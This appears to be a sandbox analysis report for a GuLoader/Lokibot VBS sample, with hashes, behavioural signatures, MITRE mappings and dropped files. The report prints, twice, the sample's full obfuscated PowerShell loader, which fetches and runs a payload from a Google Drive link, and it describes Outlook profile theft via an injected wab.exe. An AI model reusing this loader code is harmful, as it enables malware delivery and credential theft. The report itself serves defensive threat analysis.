guloader | f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a

Analysis

max time kernel
149s
max time network
140s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
28/03/2024, 02:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a.vbs
Size 178KB
Sample240328-c87pjsdd6x
SHA256 f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a
MD5 7b01307279c1999f5cc654f75f4d7256
SHA1 c6c3c841ca9448c605bae111b74a3d1f9b84788b
SHA512 01e1c07910f9a0ac077a0c61e27df9af7d90d9070e6cfcdfa1356b78fa608d26b19bafd84f325595c1b1306cec9aebadfffafcabe47639d1b49bbb90eb1cf733
SSDEEP 3072:XPvtrVR7t/zhP5AbvMZoxnRcRKKh14t8EIuvQcVi1l8ok/1fyLbvj/3s0oV++hy3:/vdVR7tLhxAbvMZoxnRcsK3M8EIOQcVQ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader lokibot collection downloader spyware stealer trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2456	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
13	drive.google.com
6	drive.google.com
7	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2680	wab.exe
2680	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
912	powershell.exe
2680	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 912 set thread context of 2680	912	powershell.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
280	powershell.exe
912	powershell.exe
912	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
912	powershell.exe
912	powershell.exe
912	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	280	powershell.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeDebugPrivilege	2680	wab.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2456 wrote to memory of 280	2456	WScript.exe	28
PID 2456 wrote to memory of 280	2456	WScript.exe	28
PID 2456 wrote to memory of 280	2456	WScript.exe	28
PID 280 wrote to memory of 1584	280	powershell.exe	30
PID 280 wrote to memory of 1584	280	powershell.exe	30
PID 280 wrote to memory of 1584	280	powershell.exe	30
PID 280 wrote to memory of 912	280	powershell.exe	32
PID 280 wrote to memory of 912	280	powershell.exe	32
PID 280 wrote to memory of 912	280	powershell.exe	32
PID 280 wrote to memory of 912	280	powershell.exe	32
PID 912 wrote to memory of 2108	912	powershell.exe	33
PID 912 wrote to memory of 2108	912	powershell.exe	33
PID 912 wrote to memory of 2108	912	powershell.exe	33
PID 912 wrote to memory of 2108	912	powershell.exe	33
PID 912 wrote to memory of 2508	912	powershell.exe	36
PID 912 wrote to memory of 2508	912	powershell.exe	36
PID 912 wrote to memory of 2508	912	powershell.exe	36
PID 912 wrote to memory of 2508	912	powershell.exe	36
PID 912 wrote to memory of 2892	912	powershell.exe	37
PID 912 wrote to memory of 2892	912	powershell.exe	37
PID 912 wrote to memory of 2892	912	powershell.exe	37
PID 912 wrote to memory of 2892	912	powershell.exe	37
PID 912 wrote to memory of 2680	912	powershell.exe	38
PID 912 wrote to memory of 2680	912	powershell.exe	38
PID 912 wrote to memory of 2680	912	powershell.exe	38
PID 912 wrote to memory of 2680	912	powershell.exe	38
PID 912 wrote to memory of 2680	912	powershell.exe	38
PID 912 wrote to memory of 2680	912	powershell.exe	38

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sugernes Frimrkesamler bibelskolen Rezoned kolonialist Trskreriers Rentemarginal #>;$Serafiskes239=(cmd /c set /A 115^^0);Function Joysome ([String]$Arbejdsbeholdningerne){$Serafiskes239=[char][int]$Serafiskes239;$Tiltyard=$Serafiskes239+'ubstring';$Grasserie=8;$Dichroite=Macrodactyl($Arbejdsbeholdningerne);For($Idyls=7; $Idyls -lt $Dichroite; $Idyls+=$Grasserie){$Katakinesis=$Arbejdsbeholdningerne.$Tiltyard.Invoke($Idyls, 1);$Travers=$Travers+$Katakinesis;}$Travers;}function Tatovrens ($Balancekontoens){& ($Bristefrdige) ($Balancekontoens);}function Macrodactyl ([String]$Motorism){$pronounce=$Motorism.Length-1;$pronounce;}$betalingsdagenes=Joysome 'NonvitaTPalaeenr LewiunaGorillan Supr msHo,gastfOverskueStalagmrNonequar Ro.anciFoo falnZyz.yvagRoomtht ';$Fyldte=Joysome 'Frem,ykhSkuldertstivmewtDamfoolpAnalysesGramino:Convoca/Microso/DilapiddScenegurE,velopiLevelhevE hanimeKnoglem.Knit,ergSpdest.o Ye.ggeoRek,isigTrmlksfl SiphoneUnpursu.HostesscRgerri.oMsurklimChemica/UnremituSpotpricDeified? rnevreesek,ionxu ansagpRentesroUntunabrPreinfltS.lvbyg= P,ogradPudi,uno LetvgtwBrutalinnong.rrlHaandfuo Pas,iaaBortsl.dJe.nban&NonprogiPrser,adPlis ys=Svineri1Moenste4PatholoA D sespvdeltaetSStammefcFormaliQYtreal.tFed.kirTSnobbisVEvaporaRjaill kC AmbuscD Unrespn Crissa7RagglesXPlanuriJDoitkinJParabolBVi.coelNUdlufteeNe.sigeGRecrystiEut cia1nonfrag-Un estoYCollo.uNIncumb.nCaution- ProletGBisksspqTokenis4KapitalMSgeproc ';$Bristefrdige=Joysome ' Vekseli Direk eSmaahanxOpaques ';$Sandboxes12=Joysome 'Sgaaend$SurrealgMedundelBrawestoUdsgtunb Ou towaDiabetelSatyrsp:IdeelledOnsdageobordenemGerman.ireint,mnfierasfodilat tbAnemarirsne,oldi TilstakSlaggink Kv.ntiefrihavnrUn ubronHesychaeMultisu Flaade=Postink kommandSBronzittA grelsaNappendrBagkldnt Stande-MultiplBPle,ishiEdriopht Ha.rdhs BestyrT S olelr FumledaUdvejninM ijasjsKartotefStatureehearthrr Exaspe Po,rcon-StimulaSDingeyso Inte cuBehovsurMoe,klac Kirke.e Procul Aff.rin$brevsamFTirithnyForhan,lWarmuppdHalefintMysticeeM,rkeds Alie.at-FormuleDSid,line,lapscuslivsenet F akkei TyvtesnCurbstoaF.mresptR dilatiBanke.doSt atagn Brnd.v Fors.s$h skendHDanskfde Pilm.exHornsgio Godkenn ForbruiPopsyigcReswea ';Tatovrens (Joysome 'Poa.hie$raff.negK mmunelPailleto Bal anbDkningsaSubalg,lUndef,c:ExplicaHent,moleConcannxKommunaoVok.enbnBalan.piBaad,skcA,garot= En,vol$PregrateBoreplanCo.orisvHolleri: Hangara unclutp Pu verp Vivos dTunnellaFlauntetha dlefaamorous ') ;Tatovrens (Joysome 'Ko sekvIProgenimTelefonpOverfrsoHypercurFulzient Fabula-DisilicMAmuserfoEjestedd TeknikuCollyrilGemmeleeSpid,vi oanmodBI,validiFlooragtN npartsmal.rneTIntensarRegistea Maln tn DonoresKnsfo.dfScrappieIn.rigirSa tour ') ;$Hexonic=$Hexonic+'\Tronflgere.Fil' ;Tatovrens (Joysome ' Palpul$NvnesfigA.cederlAvellano SolenobDomin xa.mfitealHoo.sbe:JoculatKLavmaalaUnsavorr.brotintFeminiso brigittBrneopselacinifkBomoliesBookingsHjulkrotWhiteflrLorr suuVampy,dk vlesgrtEksplosuIllegalr ante osSilketr5Graplin8 Fixa i=Frostsi(SourcenTOvertopeKanawarsForhandtLegende-HeltalsPrec uitaSkruebotLnen,eshHindbrr Stavbl$NingpoaH JorieaeSadelmax RefornoSmaakdpnunja,aniGlarmescRedning) Gniere ') ;while (-not $Kartoteksstrukturs58) {Tatovrens (Joysome 'ChristiI Chittafzoacumu Realis (Exorciz$Skom,gedReguleroStockinmRummaali ,ladbanB.aamuso,fsbninbF,eskoer Da.aeliBecensekPaido.okSportabe FeatisrCaperwonCon.ecteA derst.SignalfJForstvnoSulliedbAburaboSSparklit Photo aDign fitStepmineSemicre Sprls,e-Sp.aucheVambracqtaktl h Wonder.$BlomkaabUb.rmhje NightgtAmpliata KoblerlUnderb iDelprocn SlappegHje,nessSuccincdKontorhaTovsopigPlay,ffePumpkinnBulgarieInfantisMellerb) Punkis Le.otho{ .prinkSTidsvr.tOvergivaHgtningr,ornmout Hyperb-AtaghanSalligatlSlikkenetaskense VenskapOverstr Trange1Trevesk}RangskaeAb.eptil gruellsRve elseHeksame{ThermopSPeptidotvespaapaUnequalrRetakestTronhim- bahamaSJobmanclpelsbereL nieste KlyngepPulveri beslag1Aarsvrk;Zai.ersTComputea korreltNoblesso aismatvTumore.rDis.ocaeLigk.stnFashio.sCh ysoc underho$PredivoS RedaktaSkrivesnLuksusjdLbskkrsbJuramenoSk.ffemxKongefaeRaamorbsTangalo1Vante,s2 Passif} Trlast ');Tatovrens (Joysome 'Salgsch$EvidentgVedligelKoo dinoopdi,teb Skruk.aLynchenlSang,ai:Fdsel dKKritisaaEthiop r elek rtPlasmomoSchattet Smrbire ubclinkFremskas ForuresPinnocktHydrargr FishwiuFrontosk PrefratObituaruFriluftrChloritsCetenee5 Frdigk8 Intrad=Monosym(NaughtiT Fr.dnieHoist ns TidsfltSkrmmev-Rafleb,PGsteproaDiamanttDecrepih Tempor semibul$HandfulHEarthwaeLinelikxDecongeoAsmin sn HankeliUnoratocMa chen)pseu,oo ') ;}Tatovrens (Joysome 'nonmedi$TribromgMappemolgiraffloCor entb tritoratantal.lInf.nit:SubstanU ZoltannPrebellnBoge,seiPaahngsmhanoverbLurchinlAccollse TilhrenSiriasiedextrors Testims indbru Earmark=Brsspek ,nclashG CommeneAversiot arshbe-Tils,anCVold.ifo Dra.lenPas.usstBejdspae Stal fnOverf.ltSemibur Vatika$DelmngdH Undecle KoensrxNonpondoPertlinnSocialfiForbytnc,ruttor ');Tatovrens (Joysome 'Anamnio$EserinegOutsweelOffensioConopopbDilat,raRnneboelcolu.bi: MadagaAOmniferpSkilsmioPeri,eltClayineep.keredkNonsusceFlirtatt fd els Telt.ol= Transv Simoni[FarvetaSDistan.yAntiphos Begribt Snrke,e pindsvmBotanis.StjniveCSu.erseoTrommernGrillecvOrki.xjeSlagentrTemperat Mikrof] Ligefr:Mammeys: LokaliFTimetalr Drejebo TreebimDegressBRoundela KtterasLymphaneDagpeng6Unveils4Imper,iSgente ntEnco parFornorsiIrrigatnGennemlgS uderi(Posnani$ AdevisUCopymannSlgtsrenFyldplaiGimmickmvolplanboddernel CalcimePube,aln GrnseeePhyllossScob.ntsSynkop.) ,trava ');Tatovrens (Joysome ' Sko.ne$Chemothg ForesklJolleymoTje.estbNrbilleasu,furil Landsr:Derind DLatterbi GabardoOntolo.sSa tiesp.avallay Condenr UrsicioM,ndates Organi Vognt g=Slkke,t Krympe[AmontilSConsangy,ambarusLggetcrtNaaleneeOlds.ylmgazetsk.IdentitT T talfe Hil ryx.icuspitLuftvej.UnspiraE H.moeonpilote,cErgo.omocommendd PulpieiS.ntonin Forkasg Transp]sandorm:presign:BlandsdA,innatiSProthalC UnderfIDistribIPhotoge.natu.faGStindspe Be tmatO,erflaSTidsnoetJesuitsrRu alisiSpydblanPayrol gmarnies(Havee,e$GasbehoAGuarantp Opgaveo Dybfr t MongoleUnderstk sbesteXanthiutHovedsp)Ottweil ');Tatovrens (Joysome 'Viscero$fremkalgLambyacltsemidloSmooricbGriz,leapecksnilUnpreci: Fu.dstRLyolytio Kr.gsgbskraaskiPuncticnPlagsomsBetonhooDisrespn Laparoa Dem,aud UtricleMiljk,asRefree = Vent s$ ,eportDGlottaliEned.reoSlyngbos Chaisep ForsknyUopholdrFloppyso Sand.isPhra er.SterlansSluiceluPhantopbKelt sksE uitabtcol,ybirFrdselsiLette.fnFjeldryg Tjurhn(Perdil.3 Ngstem0Foreswe5Miscond1Suf,ict9huledee8Fyldepe,Gardinp3Hemmeli2Hofmars5Isdanne7Empover9klagefr) Non ev ');Tatovrens $Robinsonades;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:280
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c set /A 115^^0
    3⤵
    PID:1584
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Sugernes Frimrkesamler bibelskolen Rezoned kolonialist Trskreriers Rentemarginal #>;$Serafiskes239=(cmd /c set /A 115^^0);Function Joysome ([String]$Arbejdsbeholdningerne){$Serafiskes239=[char][int]$Serafiskes239;$Tiltyard=$Serafiskes239+'ubstring';$Grasserie=8;$Dichroite=Macrodactyl($Arbejdsbeholdningerne);For($Idyls=7; $Idyls -lt $Dichroite; $Idyls+=$Grasserie){$Katakinesis=$Arbejdsbeholdningerne.$Tiltyard.Invoke($Idyls, 1);$Travers=$Travers+$Katakinesis;}$Travers;}function Tatovrens ($Balancekontoens){& ($Bristefrdige) ($Balancekontoens);}function Macrodactyl ([String]$Motorism){$pronounce=$Motorism.Length-1;$pronounce;}$betalingsdagenes=Joysome 'NonvitaTPalaeenr LewiunaGorillan Supr msHo,gastfOverskueStalagmrNonequar Ro.anciFoo falnZyz.yvagRoomtht ';$Fyldte=Joysome 'Frem,ykhSkuldertstivmewtDamfoolpAnalysesGramino:Convoca/Microso/DilapiddScenegurE,velopiLevelhevE hanimeKnoglem.Knit,ergSpdest.o Ye.ggeoRek,isigTrmlksfl SiphoneUnpursu.HostesscRgerri.oMsurklimChemica/UnremituSpotpricDeified? rnevreesek,ionxu ansagpRentesroUntunabrPreinfltS.lvbyg= P,ogradPudi,uno LetvgtwBrutalinnong.rrlHaandfuo Pas,iaaBortsl.dJe.nban&NonprogiPrser,adPlis ys=Svineri1Moenste4PatholoA D sespvdeltaetSStammefcFormaliQYtreal.tFed.kirTSnobbisVEvaporaRjaill kC AmbuscD Unrespn Crissa7RagglesXPlanuriJDoitkinJParabolBVi.coelNUdlufteeNe.sigeGRecrystiEut cia1nonfrag-Un estoYCollo.uNIncumb.nCaution- ProletGBisksspqTokenis4KapitalMSgeproc ';$Bristefrdige=Joysome ' Vekseli Direk eSmaahanxOpaques ';$Sandboxes12=Joysome 'Sgaaend$SurrealgMedundelBrawestoUdsgtunb Ou towaDiabetelSatyrsp:IdeelledOnsdageobordenemGerman.ireint,mnfierasfodilat tbAnemarirsne,oldi TilstakSlaggink Kv.ntiefrihavnrUn ubronHesychaeMultisu Flaade=Postink kommandSBronzittA grelsaNappendrBagkldnt Stande-MultiplBPle,ishiEdriopht Ha.rdhs BestyrT S olelr FumledaUdvejninM ijasjsKartotefStatureehearthrr Exaspe Po,rcon-StimulaSDingeyso Inte cuBehovsurMoe,klac Kirke.e Procul Aff.rin$brevsamFTirithnyForhan,lWarmuppdHalefintMysticeeM,rkeds Alie.at-FormuleDSid,line,lapscuslivsenet F akkei TyvtesnCurbstoaF.mresptR dilatiBanke.doSt atagn Brnd.v Fors.s$h skendHDanskfde Pilm.exHornsgio Godkenn ForbruiPopsyigcReswea ';Tatovrens (Joysome 'Poa.hie$raff.negK mmunelPailleto Bal anbDkningsaSubalg,lUndef,c:ExplicaHent,moleConcannxKommunaoVok.enbnBalan.piBaad,skcA,garot= En,vol$PregrateBoreplanCo.orisvHolleri: Hangara unclutp Pu verp Vivos dTunnellaFlauntetha dlefaamorous ') ;Tatovrens (Joysome 'Ko sekvIProgenimTelefonpOverfrsoHypercurFulzient Fabula-DisilicMAmuserfoEjestedd TeknikuCollyrilGemmeleeSpid,vi oanmodBI,validiFlooragtN npartsmal.rneTIntensarRegistea Maln tn DonoresKnsfo.dfScrappieIn.rigirSa tour ') ;$Hexonic=$Hexonic+'\Tronflgere.Fil' ;Tatovrens (Joysome ' Palpul$NvnesfigA.cederlAvellano SolenobDomin xa.mfitealHoo.sbe:JoculatKLavmaalaUnsavorr.brotintFeminiso brigittBrneopselacinifkBomoliesBookingsHjulkrotWhiteflrLorr suuVampy,dk vlesgrtEksplosuIllegalr ante osSilketr5Graplin8 Fixa i=Frostsi(SourcenTOvertopeKanawarsForhandtLegende-HeltalsPrec uitaSkruebotLnen,eshHindbrr Stavbl$NingpoaH JorieaeSadelmax RefornoSmaakdpnunja,aniGlarmescRedning) Gniere ') ;while (-not $Kartoteksstrukturs58) {Tatovrens (Joysome 'ChristiI Chittafzoacumu Realis (Exorciz$Skom,gedReguleroStockinmRummaali ,ladbanB.aamuso,fsbninbF,eskoer Da.aeliBecensekPaido.okSportabe FeatisrCaperwonCon.ecteA derst.SignalfJForstvnoSulliedbAburaboSSparklit Photo aDign fitStepmineSemicre Sprls,e-Sp.aucheVambracqtaktl h Wonder.$BlomkaabUb.rmhje NightgtAmpliata KoblerlUnderb iDelprocn SlappegHje,nessSuccincdKontorhaTovsopigPlay,ffePumpkinnBulgarieInfantisMellerb) Punkis Le.otho{ .prinkSTidsvr.tOvergivaHgtningr,ornmout Hyperb-AtaghanSalligatlSlikkenetaskense VenskapOverstr Trange1Trevesk}RangskaeAb.eptil gruellsRve elseHeksame{ThermopSPeptidotvespaapaUnequalrRetakestTronhim- bahamaSJobmanclpelsbereL nieste KlyngepPulveri beslag1Aarsvrk;Zai.ersTComputea korreltNoblesso aismatvTumore.rDis.ocaeLigk.stnFashio.sCh ysoc underho$PredivoS RedaktaSkrivesnLuksusjdLbskkrsbJuramenoSk.ffemxKongefaeRaamorbsTangalo1Vante,s2 Passif} Trlast ');Tatovrens (Joysome 'Salgsch$EvidentgVedligelKoo dinoopdi,teb Skruk.aLynchenlSang,ai:Fdsel dKKritisaaEthiop r elek rtPlasmomoSchattet Smrbire ubclinkFremskas ForuresPinnocktHydrargr FishwiuFrontosk PrefratObituaruFriluftrChloritsCetenee5 Frdigk8 Intrad=Monosym(NaughtiT Fr.dnieHoist ns TidsfltSkrmmev-Rafleb,PGsteproaDiamanttDecrepih Tempor semibul$HandfulHEarthwaeLinelikxDecongeoAsmin sn HankeliUnoratocMa chen)pseu,oo ') ;}Tatovrens (Joysome 'nonmedi$TribromgMappemolgiraffloCor entb tritoratantal.lInf.nit:SubstanU ZoltannPrebellnBoge,seiPaahngsmhanoverbLurchinlAccollse TilhrenSiriasiedextrors Testims indbru Earmark=Brsspek ,nclashG CommeneAversiot arshbe-Tils,anCVold.ifo Dra.lenPas.usstBejdspae Stal fnOverf.ltSemibur Vatika$DelmngdH Undecle KoensrxNonpondoPertlinnSocialfiForbytnc,ruttor ');Tatovrens (Joysome 'Anamnio$EserinegOutsweelOffensioConopopbDilat,raRnneboelcolu.bi: MadagaAOmniferpSkilsmioPeri,eltClayineep.keredkNonsusceFlirtatt fd els Telt.ol= Transv Simoni[FarvetaSDistan.yAntiphos Begribt Snrke,e pindsvmBotanis.StjniveCSu.erseoTrommernGrillecvOrki.xjeSlagentrTemperat Mikrof] Ligefr:Mammeys: LokaliFTimetalr Drejebo TreebimDegressBRoundela KtterasLymphaneDagpeng6Unveils4Imper,iSgente ntEnco parFornorsiIrrigatnGennemlgS uderi(Posnani$ AdevisUCopymannSlgtsrenFyldplaiGimmickmvolplanboddernel CalcimePube,aln GrnseeePhyllossScob.ntsSynkop.) ,trava ');Tatovrens (Joysome ' Sko.ne$Chemothg ForesklJolleymoTje.estbNrbilleasu,furil Landsr:Derind DLatterbi GabardoOntolo.sSa tiesp.avallay Condenr UrsicioM,ndates Organi Vognt g=Slkke,t Krympe[AmontilSConsangy,ambarusLggetcrtNaaleneeOlds.ylmgazetsk.IdentitT T talfe Hil ryx.icuspitLuftvej.UnspiraE H.moeonpilote,cErgo.omocommendd PulpieiS.ntonin Forkasg Transp]sandorm:presign:BlandsdA,innatiSProthalC UnderfIDistribIPhotoge.natu.faGStindspe Be tmatO,erflaSTidsnoetJesuitsrRu alisiSpydblanPayrol gmarnies(Havee,e$GasbehoAGuarantp Opgaveo Dybfr t MongoleUnderstk sbesteXanthiutHovedsp)Ottweil ');Tatovrens (Joysome 'Viscero$fremkalgLambyacltsemidloSmooricbGriz,leapecksnilUnpreci: Fu.dstRLyolytio Kr.gsgbskraaskiPuncticnPlagsomsBetonhooDisrespn Laparoa Dem,aud UtricleMiljk,asRefree = Vent s$ ,eportDGlottaliEned.reoSlyngbos Chaisep ForsknyUopholdrFloppyso Sand.isPhra er.SterlansSluiceluPhantopbKelt sksE uitabtcol,ybirFrdselsiLette.fnFjeldryg Tjurhn(Perdil.3 Ngstem0Foreswe5Miscond1Suf,ict9huledee8Fyldepe,Gardinp3Hemmeli2Hofmars5Isdanne7Empover9klagefr) Non ev ');Tatovrens $Robinsonades;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:912
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c set /A 115^^0
      4⤵
      PID:2108
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:2508
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:2892
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 e9678868fc0dbed3bbb85fc4cedfb2c9cb812831daf7b14b24c9dae8d5407426
MD5 062db34bb88b1e99504f1751abc0354e
SHA1 faca03f073625e00954957d635451f7cf62a4bb1
SHA512 a0160a47d1a55865145522c59896683cd55e654bf26327a334f57971cb56a12501fea39e9bff63fe27d20cd7f08f6a130a0d4d4c20c7aead4baab539d4677feb
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 36f3d7f970debf7bb9d61391809b0c8ea297132fe11b65a8420228f022c0ad5b
MD5 c3ebfdcedcb8e2ac66fe60aa8747a187
SHA1 6f5c553c676b57bd1ca10c5e5556945b417c5ac4
SHA512 f91a3016d79eb5aaaba731d68689e61c60736c72872c72616a1e3a1b1ac1ff24d93c3238127d0400bff176771c3dd9832b88d5b6bf23ced9152d7f29c32c201d
MD5 SHA1 SHA512

Submit Download

CabBFE5.tmp

Path C:\Users\Admin\AppData\Local\Temp\CabBFE5.tmp
Size 68KB
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
SSDEEP 1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5 SHA1 SHA512 SSDEEP

Submit Download

Forlagde.txt

Path C:\Users\Admin\AppData\Local\Temp\Forlagde.txt
Size 1KB
SHA256 83d316beff08ba3e4ee36d62df31ceed30ecb838f38d3e812131635534eb9de8
MD5 639f2de108a6c94a53e8e3ccc6debb46
SHA1 4998e4df028928f951435b8a939f6b757375637d
SHA512 1be449ea7a9c70c34e5e7088ec896ccb2d2dd58d126ac6a11d3b1c8b9accd090aba8e7d7117d8241894175bf277436743185e5892fa14746bd853dc753f00b92
MD5 SHA1 SHA512

Submit Download

Forlagde.txt

Path C:\Users\Admin\AppData\Local\Temp\Forlagde.txt
Size 1KB
SHA256 ff8303ac1d2882dae1c30eba879d8960ee1c2c8dc763ce7ac04f5c67de523ba3
MD5 780b430d034ec8a2328c5af5333693a3
SHA1 d9a050fbbe510ecf0067f0e99dd1c56645348f1d
SHA512 c2961456e265255fea8bc5b0db0cedd88620ffdf2d95cff974fdcb8bb3e356f62371702ba5895eb44d63cbbd6d6e7b002cc9c86aa6ccbf7d7911dbc7e311c6ca
MD5 SHA1 SHA512

Submit Download

Forlagde.txt

Path C:\Users\Admin\AppData\Local\Temp\Forlagde.txt
Size 5KB
SHA256 7eb5dce1a0d0cc6591e845e3088145ed0b9f7a1f2880ab9579ce71385ceccbdc
MD5 b0f51371d868f75953afc42592110b2c
SHA1 c92de700548d0c1cabbab4faa4ce9020f7d0c941
SHA512 d581ecbdbe4116ab04a6c7bad867232a48bee9af41190abf5cec9ecbdef0558d89cfbc5204280bb23a1202330d127c027e52ed666f59c5095530dbcb32b71052
SSDEEP 96:NMeaNskcO3pGW+OB1/q+Y4gB3NwYzS4Qnu8lFdsmKg5gbZbeL6Q6hnA4QdtjYP:NMJNxZb3B1RYXBdwYzS1lFdXKF1CL65N
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar8B11.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar8B11.tmp
Size 177KB
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
SSDEEP 1536:fAo/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mJ:f/J+qTR0XCy/dmASru2Aijbdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

0f5007522459c86e95ffcc62f32308f1_4456596e-0528-4680-8940-5edc26c0ff50

Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-330940541-141609230-1670313778-1000\0f5007522459c86e95ffcc62f32308f1_4456596e-0528-4680-8940-5edc26c0ff50
Size 46B
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
MD5 SHA1 SHA512

Submit Download

0f5007522459c86e95ffcc62f32308f1_4456596e-0528-4680-8940-5edc26c0ff50

Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-330940541-141609230-1670313778-1000\0f5007522459c86e95ffcc62f32308f1_4456596e-0528-4680-8940-5edc26c0ff50
Size 46B
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
MD5 SHA1 SHA512

Submit Download

